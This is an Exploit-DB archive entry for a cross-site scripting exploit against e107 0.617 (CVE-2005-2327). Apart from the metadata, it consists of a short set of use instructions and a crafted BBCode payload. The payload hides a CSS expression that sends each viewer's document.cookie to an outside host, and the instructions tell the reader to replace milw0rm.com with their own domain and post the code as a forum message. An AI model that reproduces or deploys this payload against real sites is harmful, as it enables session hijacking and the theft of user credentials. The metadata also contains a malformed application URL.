e107 0.617 - Cross-Site Scripting Remote Cookie Disclosure

Author: warlord
type: webapps
platform: php
port: 
date_added: 2005-07-13 
date_updated: 2016-05-25 
verified: 1 
codes: OSVDB-18079;CVE-2005-2327 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.come107_v0617.tar.gz

/*
1) Change milw0rm.com to your domain.com
2) Post the below code into a new message.

Credits to Nick Griffin.

/str0ke
*/

[color=#EFEFEF][url]www.ut[url=http://www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://www.milw0rm.com/cgi-bin/shell.jpg?'+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color]


# milw0rm.com [2005-07-14]